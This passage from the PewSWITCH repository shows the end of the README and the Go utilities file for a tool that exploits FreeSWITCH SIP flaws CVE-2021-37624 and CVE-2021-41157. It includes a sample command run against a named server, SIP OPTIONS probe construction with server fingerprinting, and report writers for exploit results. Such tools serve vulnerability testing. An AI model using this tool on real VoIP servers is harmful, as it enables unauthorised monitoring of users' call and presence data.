130 | - `presence.winfo`
131 | - `message-summary`
132 | - `refer`
133 |
134 | This behaviour can be changed by the `-events` flag which takes a comma separated list of events to monitor. Example:
135 | ```groovy
136 | ./pewswitch -cve 'cve-2021-41157' -events message-summary,presence -exts 1000,1002 freeserver.voip.com
137 | ```
138 |
139 | ### Setup
140 | You can make use of the pre-built binaries from the [Releases](https://github.com/0xInfection/PewSWITCH/releases) section. Or, if you prefer to compile the code yourself, you'll need Go > 1.13. To build the tool, you can run `go build` which will give you a binary to run.
141 |
142 | ### Version and License
143 | The tool is available under MIT License. Feel free to do whatever you want to do with it. :)
144 |
145 | Currently, PewSWITCH is at v0.1.
146 |
147 | ### Bugs and features requests
148 | New requests and features? Feel free to create an [issue](https://github.com/0xInfection/pewswitch/issues/new/) or a [pull request](https://github.com/0xInfection/pewswitch/pulls).
149 |
150 | If you have anything to discuss you can reach out to me via twitter/email on my profile.
151 |
152 | > Created with ♡ by [Pinaki](https://twitter.com/0xInfection).
--------------------------------------------------------------------------------
/utils.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bufio"
5 | "encoding/csv"
6 | "encoding/json"
7 | "fmt"
8 | "io/ioutil"
9 | "log"
10 | "math/rand"
11 | "net"
12 | "os"
13 | "path"
14 | "strings"
15 | "sync"
16 | "time"
17 | )
18 |
19 | type csvWriter struct {
20 | locker *sync.Mutex
21 | writer *csv.Writer
22 | }
23 |
24 | const letterRunes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
25 |
26 | func initCSVWriter(fname string) (*csvWriter, error) {
27 | csvf, err := os.Create(fname)
28 | if err != nil {
29 | return nil, err
30 | }
31 | wr := csv.NewWriter(csvf)
32 | return &csvWriter{
33 | locker: &sync.Mutex{},
34 | writer: wr,
35 | }, nil
36 | }
37 |
38 | func (wr *csvWriter) writeRow(row []string) {
39 | wr.locker.Lock()
40 | wr.writer.Write(row)
41 | wr.locker.Unlock()
42 | }
43 |
44 | func (wr *csvWriter) FlushBuffer() {
45 | wr.locker.Lock()
46 | wr.writer.Flush()
47 | wr.locker.Unlock()
48 | }
49 |
50 | // checks if a specific item is in a slice
51 | func isItemIn(item string, allitems *[]string) bool {
52 | for x := range *allitems {
53 | if item == (*allitems)[x] {
54 | return true
55 | }
56 | }
57 | return false
58 | }
59 |
60 | func genRandStr(n int) string {
61 | b := make([]byte, n)
62 | for i := range b {
63 | b[i] = letterRunes[rand.Intn(len(letterRunes))]
64 | }
65 | return string(b)
66 | }
67 |
68 | func getLocalAddr() string {
69 | conn, err := net.Dial("udp", "8.8.8.8:80")
70 | if err != nil {
71 | log.Fatalln(err)
72 | }
73 | conn.Close()
74 | return conn.LocalAddr().String()
75 | }
76 |
77 | func sendPacket(hostport string, payload string, deadline int, termConn bool) (net.Conn, error) {
78 | conn, err := net.DialTimeout("udp", hostport, time.Duration(dialTimeout)*time.Second)
79 | if err != nil {
80 | return nil, err
81 | }
82 | conn.SetDeadline(time.Now().Add(time.Duration(deadline) * time.Second))
83 | _, err = conn.Write([]byte(payload))
84 | if err != nil {
85 | return nil, err
86 | }
87 | if termConn {
88 | err = conn.Close()
89 | if err != nil {
90 | return nil, err
91 | }
92 | }
93 | return conn, nil
94 | }
95 |
96 | func readExtensionsFromFile(fname string) *[]string {
97 | var exts []string
98 | file, err := os.Open(fname)
99 | if err != nil {
100 | log.Fatalln(err.Error())
101 | }
102 | defer file.Close()
103 |
104 | scanner := bufio.NewScanner(file)
105 | for scanner.Scan() {
106 | exts = append(exts, scanner.Text())
107 | }
108 |
109 | if err := scanner.Err(); err != nil {
110 | log.Fatalln(err.Error())
111 | }
112 | return &exts
113 | }
114 |
115 | func readCsvFile(filePath string) [][]string {
116 | f, err := os.Open(filePath)
117 | if err != nil {
118 | log.Fatal("Unable to read input file "+filePath, err)
119 | }
120 | defer f.Close()
121 |
122 | csvReader := csv.NewReader(f)
123 | records, err := csvReader.ReadAll()
124 | if err != nil {
125 | log.Fatal("Unable to parse file as CSV for "+filePath, err)
126 | }
127 |
128 | return records
129 | }
130 |
131 | func checkAlive(targets *[]string) map[string]bool {
132 | var dmap = make(map[string]bool)
133 | for _, targ := range *targets {
134 | dmap[targ] = false
135 | conn, err := net.DialTimeout("udp", targ, time.Duration(dialTimeout)*time.Second)
136 | if err != nil {
137 | log.Println(err.Error())
138 | continue
139 | }
140 | defer conn.Close()
141 |
142 | var payload string
143 | payload += fmt.Sprintf("OPTIONS sip:1000@%s;transport=UDP SIP/2.0\r\n", targ)
144 | payload += fmt.Sprintf("Via: SIP/2.0/UDP %s;branch=z9hG4bK001b84f6;rport\r\n", conn.LocalAddr().String())
145 | payload += "Max-Forwards: 70\r\n"
146 | payload += "To: \"PewSWITCH\" \r\n"
147 | payload += "From: \"PewSWITCH\" ;tag=61633638380343437\r\n"
148 | payload += "User-Agent: pewswitch\r\n"
149 | payload += "Call-ID: AABkh3bjAZ3k2j3br5920I0\r\n"
150 | payload += fmt.Sprintf("Contact: sip:1000@%s\r\n", conn.LocalAddr().String())
151 | payload += "CSeq: 1 OPTIONS\r\n"
152 | payload += "Accept: application/sdp\r\n"
153 | payload += "Content-Length: 0\r\n"
154 | payload += "\r\n"
155 |
156 | conn.SetDeadline(time.Now().Add(5 * time.Second))
157 | _, err = conn.Write([]byte(payload))
158 | if err != nil {
159 | continue
160 | }
161 | xbuf := make([]byte, 8192)
162 | _, err = conn.Read(xbuf)
163 | if err != nil {
164 | continue
165 | }
166 | if strings.HasPrefix(string(xbuf), "SIP/2.0") {
167 | dmap[targ] = true
168 | log.Printf("Host %s is up and responding to SIP.", targ)
169 | }
170 | server := serverHead.FindAllSubmatch(xbuf, -1)
171 | if server != nil {
172 | servstr := strings.ToLower(string(server[0][1]))
173 | if !strings.Contains(servstr, "freeswitch") {
174 | log.Println("Heuristics indicate that the server might not be FreeSWITCH!")
175 | } else {
176 | log.Println("Heuristics indicate that the server is FreeSWITCH.")
177 | }
178 | } else {
179 | log.Println("No server header found. Skipping heuristic checks...")
180 | }
181 | }
182 | return dmap
183 | }
184 |
185 | func postProcess(obj *[]fResult) *[]fResult {
186 | var (
187 | uniqhosts []string
188 | xresult fResult
189 | count = 0
190 | newObj = make([]fResult, 0)
191 | )
192 | for _, x := range *obj {
193 | uniqhosts = append(uniqhosts, x.Host)
194 | }
195 | uniqhosts = *sortUnique(&uniqhosts)
196 | for _, mhost := range uniqhosts {
197 | xflag := false
198 | for _, res := range *obj {
199 | if res.Host == mhost {
200 | if !xflag {
201 | if count > 0 {
202 | newObj = append(newObj, xresult)
203 | }
204 | xresult = res
205 | xflag = true
206 | continue
207 | }
208 | xresult.Details.CVE202137624.ExploitDetails = append(xresult.Details.
209 | CVE202137624.ExploitDetails, res.Details.CVE202137624.ExploitDetails...)
210 | xresult.Details.CVE202141157.ExploitDetails = append(xresult.Details.
211 | CVE202141157.ExploitDetails, res.Details.CVE202141157.ExploitDetails...)
212 | count++
213 | }
214 | }
215 | }
216 | newObj = append(newObj, xresult)
217 | return &newObj
218 | }
219 |
220 | // writeToJSON writes the results of a scan to the specified directory
221 | func writeToJSON(obj *[]fResult) error {
222 | obj = postProcess(obj)
223 | for _, res := range *obj {
224 | xdata, err := json.MarshalIndent(res, "", " ")
225 | if err != nil {
226 | return err
227 | }
228 | if err = ioutil.WriteFile(path.Join(outdir,
229 | fmt.Sprintf("%s-report.json", res.Host)), xdata, 0644); err != nil {
230 | return err
231 | }
232 | }
233 | return nil
234 | }
235 |
236 | func writeToCSV(obj *[]fResult) error {
237 | var uniqhosts []string
238 | for _, x := range *obj {
239 | uniqhosts = append(uniqhosts, x.Host)
240 | }
241 | uniqhosts = *sortUnique(&uniqhosts)
242 | for _, xhost := range uniqhosts {
243 | xwriter, err := initCSVWriter(path.Join(outdir, fmt.Sprintf("%s-report.csv", xhost)))
244 | if err != nil {
245 | return err
246 | }
247 | xwriter.writeRow([]string{
248 | "extension",
249 | "host",
250 | "cve",
251 | "is_vulnerable",
252 | "message",
253 | "timestamp",
254 | })
255 | for _, res := range *obj {
256 | if xhost == res.Host {
257 | xdets := res.Details.CVE202137624.ExploitDetails
258 | if len(res.Details.CVE202137624.ExploitDetails) > 0 {
259 | for _, msg := range res.Details.CVE202137624.ExploitDetails[0].SentMessages {
260 | xwriter.writeRow([]string{
261 | xdets[0].Extension,
262 | xhost,
263 | "CVE-2021-37624",
264 | fmt.Sprint(res.Details.CVE202137624.IsVulnerable),
265 | msg.Message,
266 | time.Time(msg.Timestamp).Format(time.RFC3339),
267 | })
268 | }
269 | }
270 | xdetx := res.Details.CVE202141157.ExploitDetails
271 | if len(res.Details.CVE202141157.ExploitDetails) > 0 {
272 | for _, msg := range res.Details.CVE202141157.ExploitDetails[0].NotifsRecvd {
273 | xwriter.writeRow([]string{
274 | xdetx[0].Extension,
275 | xhost,
276 | "CVE-2021-41157",
277 | fmt.Sprint(res.Details.CVE202137624.IsVulnerable),
278 | // santizing the CSV so it doesn't span across lines
279 | sanitiseRex.ReplaceAllLiteralString(msg.Message, "\\n"),
280 | time.Time(msg.Timestamp).Format(time.RFC3339),
281 | })
282 | }
283 | }
284 | }
285 | }
286 | xwriter.FlushBuffer()
287 | }
288 | return nil
289 | }
290 |
291 | func sortUnique(sSlice *[]string) *[]string {
292 | var keys = make(map[string]bool)
293 | var list []string
294 | for _, entry := range *sSlice {
295 | if _, value := keys[entry]; !value {
296 | keys[entry] = true
297 | list = append(list, entry)
298 | }
299 | }
300 | return &list
301 | }
302 |
--------------------------------------------------------------------------------